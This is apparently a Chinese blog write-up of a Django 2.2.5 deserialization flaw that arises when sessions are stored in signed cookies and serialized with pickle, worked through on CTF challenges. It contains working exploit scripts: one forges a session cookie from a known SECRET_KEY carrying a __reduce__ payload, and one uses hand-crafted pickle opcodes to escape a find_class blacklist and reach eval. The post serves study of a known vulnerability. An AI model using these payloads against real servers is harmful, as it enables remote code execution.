• 由Django-Session配置引发的反序列化安全问题


    漏洞成因

    漏洞成因位于目标配置文件settings.py下

    关于这两个配置项

    SESSION_ENGINE:

    在Django中,SESSION_ENGINE 是一个设置项,用于指定用于存储和处理会话(session)数据的引擎。

    SESSION_ENGINE 设置项允许您选择不同的后端引擎来存储会话数据,例如:

    1. 1. 数据库后端 (django.contrib.sessions.backends.db):会话数据存储在数据库表中。这是Django的默认会话引擎。

    2. 2. 缓存后端 (django.contrib.sessions.backends.cache):会话数据存储在缓存中,例如Memcached或Redis。这种方式适用于需要快速读写和处理大量会话数据的情况。

    3. 3. 文件系统后端 (django.contrib.sessions.backends.file):会话数据存储在服务器的文件系统中。这种方式适用于小型应用,不需要高级别的安全性和性能。

    4. 4. 签名Cookie后端 (django.contrib.sessions.backends.signed_cookies):会话数据以签名的方式存储在用户的Cookie中。这种方式适用于小型会话数据,可以提供一定程度的安全性。

    5. 5. 缓存数据库后端 (django.contrib.sessions.backends.cached_db):会话数据存储在缓存中,并且在需要时备份到数据库。这种方式结合了缓存和持久性存储的优势。

    SESSION_SERIALIZER:

    SESSION_SERIALIZER 是Django设置中的一个选项,用于指定Django如何对会话(session)数据进行序列化和反序列化。会话是一种在Web应用程序中用于存储用户状态信息的机制,例如用户登录状态、购物车内容、用户首选项等。

    通过配置SESSION_SERIALIZER,您可以指定Django使用哪种数据序列化格式来处理会话数据。Django支持多种不同的序列化格式,包括以下常用的选项:

    1. 1. **'django.contrib.sessions.serializers.JSONSerializer'**:使用JSON格式来序列化和反序列化会话数据。JSON是一种通用的文本格式,具有良好的可读性和跨平台兼容性。

    2. 2. **'django.contrib.sessions.serializers.PickleSerializer'**:使用Python标准库中的pickle模块来序列化和反序列化会话数据。

    那么上述配置项的意思就是使用cookie来存储session的签名,然后使用pickle在c/s两端进行序列化和反序列化。

    紧接着看看Django中的/core/signing模块:(Django==2.2.5)

    主要看看函数参数即可

    key:验签中的密钥

    serializer:指定序列化和反序列化类

    1. def dumps(obj, key=None, salt='django.core.signing', serializer=JSONSerializer, compress=False):
    2.     """
    3.     Return URL-safe, hmac/SHA1 signed base64 compressed JSON string. If key is
    4.     None, use settings.SECRET_KEY instead.
    5.     If compress is True (not the default), check if compressing using zlib can
    6.     save some space. Prepend a '.' to signify compression. This is included
    7.     in the signature, to protect against zip bombs.
    8.     Salt can be used to namespace the hash, so that a signed string is
    9.     only valid for a given namespace. Leaving this at the default
    10.     value or re-using a salt value across different parts of your
    11.     application without good cause is a security risk.
    12.     The serializer is expected to return a bytestring.
    13.     """
    14.     data = serializer().dumps(obj)  # 使用选定的类进行序列化
    15.     # Flag for if it's been compressed or not
    16.     is_compressed = False
    17.     
    18.     # 数据压缩处理
    19.     if compress:
    20.         # Avoid zlib dependency unless compress is being used
    21.         compressed = zlib.compress(data)
    22.         if len(compressed) < (len(data) - 1):
    23.             data = compressed
    24.             is_compressed = True
    25.     base64d = b64_encode(data).decode()   # base64编码 decode转化成字符串
    26.     if is_compressed:
    27.         base64d = '.' + base64d
    28.     return TimestampSigner(key, salt=salt).sign(base64d) # 返回一个签名值
    29. # loads的过程为dumps的逆过程
    30. def loads(s, key=None, salt='django.core.signing', serializer=JSONSerializer, max_age=None):
    31.     """
    32.     Reverse of dumps(), raise BadSignature if signature fails.
    33.     The serializer is expected to accept a bytestring.
    34.     """
    35.     # TimestampSigner.unsign() returns str but base64 and zlib compression
    36.     # operate on bytes.
    37.     base64d = TimestampSigner(key, salt=salt).unsign(s, max_age=max_age).encode()
    38.     decompress = base64d[:1] == b'.'
    39.     if decompress:
    40.         # It's compressed; uncompress it first
    41.         base64d = base64d[1:]
    42.     data = b64_decode(base64d)
    43.     if decompress:
    44.         data = zlib.decompress(data)
    45.     return serializer().loads(data)

    看看两个签名的类:

    在Signer类中中:

    1. class Signer:
    2.     def __init__(selfkey=None, sep=':', salt=None):
    3.         # Use of native strings in all versions of Python
    4.         self.key = key or settings.SECRET_KEY # key默认为settings中的配置项   
    5.         self.sep = sep
    6.         if _SEP_UNSAFE.match(self.sep):
    7.             raise ValueError(
    8.                 'Unsafe Signer separator: %r (cannot be empty or consist of '
    9.                 'only A-z0-9-_=)' % sep,
    10.             )
    11.         self.salt = salt or '%s.%s' % (self.__class__.__module__, self.__class__.__name__)
    12.     def signature(selfvalue):
    13.         # 利用salt、valuekey做一次签名
    14.         return base64_hmac(self.salt + 'signer'valueself.key)
    15.     def sign(selfvalue):
    16.         return '%s%s%s' % (valueself.sep, self.signature(value))
    17.     def unsign(self, signed_value):
    18.         if self.sep not in signed_value:
    19.             raise BadSignature('No "%s" found in value' % self.sep)
    20.         value, sig = signed_value.rsplit(self.sep, 1)
    21.         if constant_time_compare(sig, self.signature(value)):
    22.             return value
    23.         raise BadSignature('Signature "%s" does not match' % sig)

    还有一个是时间戳的验签部分

    1. class TimestampSigner(Signer):
    2.     def timestamp(self):
    3.         return baseconv.base62.encode(int(time.time()))
    4.     def sign(selfvalue):
    5.         value = '%s%s%s' % (valueself.sep, self.timestamp())
    6.         return super().sign(value)
    7.     def unsign(selfvalue, max_age=None):
    8.         """
    9.         Retrieve original value and check it wasn't signed more
    10.         than max_age seconds ago.
    11.         """
    12.         result = super().unsign(value)
    13.         value, timestamp = result.rsplit(self.sep, 1)
    14.         timestamp = baseconv.base62.decode(timestamp)
    15.         if max_age is not None:
    16.             if isinstance(max_age, datetime.timedelta):
    17.                 max_age = max_age.total_seconds()
    18.             # Check timestamp is not older than max_age
    19.             age = time.time() - timestamp
    20.             if age > max_age:
    21.                 raise SignatureExpired(
    22.                     'Signature age %s > %s seconds' % (age, max_age))
    23.         return value

    时间戳主要是为了判断session是否过期,因为设置了一个max_age字段,做了差值进行比较

    图片

    漏洞调试

    我直接以ez_py的题目环境为漏洞调试环境(Django==2.2.5)

    • • 老惯例,先看栈帧

    django/contrib/auth/middleware.py为处理Django框架中的身份验证和授权的中间件类,协助处理了HTTP请求

    图片

    • • AuthenticationMiddleware中调用了get_user用于获取session中的连接对象身份

    图片

    • • 随后调用Django auth模块下的get_user函数和_get_user_session_key函数

    图片

    图片

    • • 随后进行session的字典读取。由于加载session的过程为懒加载过程(lazy load),所以在读取SESSION_KEY的时候会进行_get_session函数运行,从而触发session的反序列化

    图片

    图片

    图片

    • • loads函数中的操作

    首先先进行session是否过期的检验,随后base64解码和zlib数据解压缩,提取出python字节码

    最后扔入pickle进行字节码解析

    图片

    漏洞利用

    首先利用条件如下:

    图片

    以cookie方式存储session,实现了交互。

    以Pickle为反序列化类,触发__reduce__函数的执行,实现RCE

    EXP如下:

    1. import os
    2. import django.core.signing
    3. import requests
    4. # from Django.contrib.sessions.serializers.PickleSerializer
    5. import pickle
    6. class PickleSerializer:
    7.     """
    8.     Simple wrapper around pickle to be used in signing.dumps and
    9.     signing.loads.
    10.     """
    11.     protocol = pickle.HIGHEST_PROTOCOL
    12.     def dumps(self, obj):
    13.         return pickle.dumps(obj, self.protocol)
    14.     def loads(self, data):
    15.         return pickle.loads(data)
    16. SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'
    17. salt = "django.contrib.sessions.backends.signed_cookies"
    18. class exp():
    19.     def __reduce__(self):
    20.         # 返回一个callable 及其参数的元组
    21.         return os.system, (('calc.exe'),)
    22. _exp = exp()
    23. cookie_opcodes = django.core.signing.dumps(_exp, key=SECRET_KEY, salt=salt, serializer=PickleSerializer)
    24. print(cookie_opcodes)
    25. resp = requests.get("http://127.0.0.1:8000/auth", cookies={"sessionid": cookie_opcodes})

    图片

    Code-Breaking-Django调试

    这道题是P神文章中的题目,题目源码在这:https://github.com/phith0n/code-breaking/blob/master/2018/picklecode

    find_class沙盒逃逸

    关于find_class:

    简单来说,这是python pickle建议使用的安全策略,这个函数在pickle字节码调用c(即import)时会进行校验,校验函数由自己定义

    1. import pickle
    2. import io
    3. import builtins
    4. __all__ = ('PickleSerializer', )
    5. class RestrictedUnpickler(pickle.Unpickler):
    6.     blacklist = {'eval''exec''execfile''compile''open''input''__import__''exit'}
    7.     def find_class(self, module, name):         # python字节码解析后调用了全局类或函数 import行为 就会自动调用find_class方法
    8.         # Only allow safe classes from builtins.
    9.         if module == "builtins" and name not in self.blacklist:        # 检查调用的类是否为内建类, 以及函数名是否出现在黑名单内
    10.             return getattr(builtins, name)
    11.         # Forbid everything else.
    12.         raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
    13.                                      (module, name))
    14. class PickleSerializer():
    15.     def dumps(self, obj):
    16.         return pickle.dumps(obj)
    17.     def loads(selfdata):
    18.         try:
    19.             # 校验data是否为字符串
    20.             if isinstance(data, str):
    21.                 raise TypeError("Can't load pickle from unicode string")
    22.             file = io.BytesIO(data)                     # 读取data
    23.             return RestrictedUnpickler(file,encoding='ASCII', errors='strict').load()
    24.         except Exception as e:
    25.             return {}

    第一是要手撕python pickle opcode绕过find_class,这个过程使用到了getattr函数,这个函数有如下用法

    1. class Person:
    2.      def __init__(self, name):
    3.          self.name = name
    4. # 获取对象属性值
    5. person = Person("Alice")
    6. name = getattr(person, "name")
    7. print(name)
    8. # 调用对象方法
    9. a = getattr(builtins, "eval")
    10. a("print(1+1)")
    11. # 可以设置default值
    12. age = getattr(person, "age"30)
    13. print(age)
    14. builtins.getattr(builtins, "eval")("print(1+1)")

    那么同理,也可以通过getattr调用eval

    加载上下文:由于后端在实现时,import了一些包

    图片

    (这部分包的上下文可以使用globals()函数获得)

    所以可以直接导入builtins中的getattr,最终通过获取globals()中的__builtins__来获取eval等

    1. getattr = GLOBAL('builtins''getattr')  # GLOBAL为导入
    2. dict = GLOBAL('builtins''dict')  
    3. dict_get = getattr(dict, 'get')
    4. globals = GLOBAL('builtins''globals')
    5. builtins = globals()    
    6. __builtins__ = dict_get(builtins, '__builtins__')   # 获取真正的__builtins__
    7. eval = getattr(__builtins__, 'eval')
    8. eval('__import__("os").system("calc.exe")')
    9. return

    图片

    查看Django.core.signing模块,复刻sign写exp

    1. from django.core import signing
    2. import pickle
    3. import io
    4. import builtins
    5. import zlib
    6. import base64
    7. PayloadToBeEncoded = b'cbuiltins\ngetattr\np0\n0cbuiltins\ndict\np1\n0g0\n(g1\nS\'get\'\ntRp2\n0cbuiltins\nglobals\np3\n0g3\n(tRp4\n0g2\n(g4\nS\'__builtins__\'\ntRp5\n0g0\n(g5\nS\'eval\'\ntRp6\n0g6\n(S\'__import__("os").system("calc.exe")\'\ntR.'
    8. SECURE_KEY = "p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn"
    9. salt = "django.contrib.sessions.backends.signed_cookies"
    10. def b64_encode(s):
    11.     return base64.urlsafe_b64encode(s).strip(b"=")
    12. base64d = b64_encode(PayloadToBeEncoded).decode()
    13. def exp(key, payload):
    14.     global salt
    15.     # Flag for if it's been compressed or not.
    16.     is_compressed = False
    17.     compress = False
    18.     if compress:
    19.         # Avoid zlib dependency unless compress is being used.
    20.         compressed = zlib.compress(payload)
    21.         if len(compressed) < (len(payload) - 1):
    22.             payload = compressed
    23.             is_compressed = True
    24.     base64d = b64_encode(payload).decode()
    25.     if is_compressed:
    26.         base64d = "." + base64d
    27.     session = signing.TimestampSigner(key=key, salt=salt).sign(base64d)
    28.     print(session)

    然后传session即可

    参考

    1. 1. https://www.leavesongs.com/PENETRATION/code-breaking-2018-python-sandbox.html

  • 相关阅读:
    2022 年最新【Java 经典面试 800 题】面试必备,查漏补缺;多线程 +spring+JVM 调优 + 分布式 +redis+ 算法
    详解【计算机类&面试真题】军队文职考试——第5期:什么是网桥?防火墙的端口防护是什么?| ARP地址解析协议的工作原理 | TCP的三次握手过程,若两次握手可以吗? | 差错检测及常见的差错检测技术
    linux创建sftp用户
    c# --- 关于各种变量的一些补充
    petite-vue源码剖析-双向绑定`v-model`的工作原理
    SpringBoot结合Druid实现SQL监控
    Apache Paimon实时数据糊介绍
    驱动开发day4(实现通过字符设备驱动的分布实现编写LED驱动,实现设备文件的绑定)
    文件包含之日志中毒(User-Agent)
    使用 Databend 加速 Hive 查询
  • 原文地址:https://blog.csdn.net/YJ_12340/article/details/133994727